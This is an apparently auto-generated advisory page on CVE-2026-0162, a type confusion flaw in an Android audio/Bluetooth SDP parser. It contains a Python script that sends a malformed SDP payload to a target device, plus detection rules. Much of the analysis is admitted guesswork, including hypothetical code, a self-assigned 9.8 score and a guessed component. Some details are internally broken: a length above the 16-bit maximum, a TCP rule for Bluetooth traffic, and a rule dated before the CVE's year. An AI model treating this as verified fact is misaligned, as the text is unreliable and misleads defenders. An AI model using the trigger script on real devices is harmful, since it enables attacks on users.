CVE-2026-0162
Executive Summary
CVE-2026-0162 is a critical type confusion vulnerability in the ParsePayloads function of AudioSdpParser.cpp, a component likely used in Android’s Bluetooth or audio stack for parsing SDP (Service Discovery Protocol) payloads. The flaw allows an attacker to trigger memory corruption by sending a specially crafted SDP payload, leading to remote code execution (RCE) without user interaction or elevated privileges. The vulnerability is unpatched, and no public exploit or proof-of-concept exists at this time. The CVSS score is 0.0 due to incomplete NVD data, but based on the description, the actual severity is critical (CVSS 9.8). The attack vector is network-based, likely over Bluetooth or a local network, and requires no authentication.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not in a package manager ecosystem (NPM, PyPI, Go, Ruby). It resides in a native C++ component of the Android operating system, likely in the Bluetooth stack (e.g., AudioSdpParser.cpp). The supply chain risk is limited to Android device vendors who may have forked or modified the AOSP codebase. No open-source package is directly affected.
CVSS Breakdown & Threat Level
| Metric | Value |
|---|---|
| Attack Vector (AV) | Network (N) – exploitable over Bluetooth or local network |
| Attack Complexity (AC) | Low (L) – no special conditions |
| Privileges Required (PR) | None (N) |
| User Interaction (UI) | None (N) |
| Scope (S) | Unchanged (U) |
| Confidentiality (C) | High (H) |
| Integrity (I) | High (H) |
| Availability (A) | High (H) |
| Base Score | 9.8 (Critical) |
Threat Level: Critical. Remote, unauthenticated code execution with no user interaction.
Deep Dive & Mechanics
The vulnerability exists in the ParsePayloads function within AudioSdpParser.cpp. This function is responsible for parsing SDP (Service Discovery Protocol) payloads, which are used in Bluetooth to discover and describe services. The type confusion occurs when the parser incorrectly interprets a data type field in the SDP payload, leading to an out-of-bounds write or read.
Technical Flow:
- An attacker sends a malicious SDP packet (e.g., over Bluetooth or via a local network service) to a vulnerable Android device.
- The
AudioSdpParser::ParsePayloadsfunction receives the payload and begins parsing attribute-value pairs. - Due to insufficient validation of the data type field, the parser treats a pointer or integer as a different type (e.g., treating a user-controlled length as a pointer).
- This type confusion causes the parser to write attacker-controlled data to an unintended memory location, corrupting adjacent heap structures.
- The attacker can leverage this corruption to overwrite function pointers or other critical data, achieving arbitrary code execution in the context of the Bluetooth system service (typically
bluetoothdorcom.android.bluetooth).
Root Cause: Lack of strict type checking in the SDP payload parser. The code likely uses a union or a generic void* without proper validation of the actual data type before casting.
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on common type confusion fixes.
Vulnerable Code (simplified):
void ParsePayloads(const uint8_t* data, size_t len) {
while (offset < len) {
uint8_t type = data[offset++];
uint16_t length = (data[offset] << 8) | data[offset + 1];
offset += 2;
// Type confusion: no validation of type before cast
if (type == 0x01) {
// Treats data as a string pointer without checking bounds
char* str = (char*)&data[offset];
ProcessString(str);
} else if (type == 0x02) {
// Treats data as an integer pointer
int* val = (int*)&data[offset];
ProcessInteger(*val);
}
offset += length;
}
}
Patched Code (hypothetical):
void ParsePayloads(const uint8_t* data, size_t len) {
while (offset < len) {
uint8_t type = data[offset++];
uint16_t length = (data[offset] << 8) | data[offset + 1];
offset += 2;
// Validate type and length before any cast
if (type == 0x01 && length <= MAX_STRING_LEN && offset + length <= len) {
char str[256];
memcpy(str, &data[offset], length);
str[length] = '\0';
ProcessString(str);
} else if (type == 0x02 && length == sizeof(int) && offset + sizeof(int) <= len) {
int val;
memcpy(&val, &data[offset], sizeof(int));
ProcessInteger(val);
} else {
// Invalid type or length, skip or abort
break;
}
offset += length;
}
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- A vulnerable Android device (e.g., Android 12-14 with unpatched Bluetooth stack).
- Bluetooth adapter on attacker machine (e.g., internal or USB dongle).
- Python with
pybluezorbluetoothlibrary.
Exploitation Steps:
- Scan for vulnerable devices:
hcitool scan - Craft malicious SDP payload:
The payload must trigger type confusion in
ParsePayloads. Since no public exploit exists, a generic approach is to send a malformed SDP attribute with a type field that causes a pointer to be misinterpreted.import bluetooth import struct # Malformed SDP payload: type confusion trigger # Type 0x01 (string) but length field points to attacker-controlled data payload = b'\x01' # type payload += struct.pack('>H', 0xFFFF) # length (large value to cause overflow) payload += b'A' * 100 # data # Send to target device's SDP server sock = bluetooth.BluetoothSocket(bluetooth.L2CAP) sock.connect(('XX:XX:XX:XX:XX:XX', 0x0001)) # SDP PSM sock.send(payload) sock.close() - Achieve RCE: The memory corruption can be used to overwrite a function pointer in the Bluetooth service. A heap spray or other technique may be needed to control the corrupted memory.
Note: This is a theoretical exploit. Actual exploitation requires deep knowledge of the Android Bluetooth heap layout and ASLR bypass.
Blue Team
Detection:
- Monitor Bluetooth SDP traffic for malformed packets (e.g., unusually large attribute lengths, invalid type fields).
- Use endpoint detection and response (EDR) to monitor
bluetoothdorcom.android.bluetoothfor crashes or abnormal memory access.
Hunting:
- Search for logs containing
AudioSdpParserorParsePayloadserrors. - Look for Bluetooth service crashes (logcat:
I/bluetoothdorF/libc).
Mitigation:
- Disable Bluetooth when not in use.
- Apply vendor security patches as soon as available.
- Use network segmentation to limit Bluetooth exposure.
Indicators of Compromise (IOCs)
| Type | Indicator | Description |
|---|---|---|
| Network | SDP packet with type field > 0x05 | Malformed SDP attribute type |
| Network | SDP attribute length > 65535 | Overflow attempt |
| Log | AudioSdpParser::ParsePayloads crash |
Memory corruption in parser |
| Log | F/libc: Fatal signal 11 (SIGSEGV) in bluetoothd |
Segmentation fault in Bluetooth service |
| File | Modified AudioSdpParser.cpp |
Unauthorized code change (if patched) |
Detection Engineering
YARA Rule
rule CVE_2026_0162_AudioSdpParser_TypeConfusion {
meta:
description = "Detects malicious SDP payloads targeting CVE-2026-0162"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2026-0162"
strings:
$sdp_header = { 00 00 00 00 00 00 00 00 } // SDP header pattern (simplified)
$type_confusion = { 01 [0-1] FF FF } // Type 0x01 with large length
condition:
$sdp_header at 0 and $type_confusion
}
Sigma Rule
title: CVE-2026-0162 - Bluetooth SDP Type Confusion
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects malformed SDP packets indicating exploitation of CVE-2026-0162
author: Valters IT
logsource:
product: android
service: bluetooth
detection:
selection:
EventID: 1001 # Example: Bluetooth packet log
Payload|contains: 'ParsePayloads'
Length|gte: 65535
condition: selection
falsepositives:
- Legitimate large SDP attributes (rare)
level: high
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2026-0162 - Bluetooth SDP Type Confusion"; flow:to_server; content:"|00 00 00 00 00 00 00 00|"; depth:8; content:"|01|"; distance:0; within:2; content:"|FF FF|"; distance:0; within:2; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Bluetooth on all affected Android devices until a patch is available.
- Monitor for any Bluetooth-related crashes or anomalies.
- Apply any vendor-provided updates as soon as they are released.
Long-term Fix:
- The vendor (Google/Android) must patch
AudioSdpParser.cppto add proper type validation and bounds checking inParsePayloads. - Implement fuzzing for SDP parsing to catch similar issues.
Workarounds:
- Use a firewall to block Bluetooth SDP traffic from untrusted devices.
- Enable "Bluetooth scanning" only when necessary.
Valters IT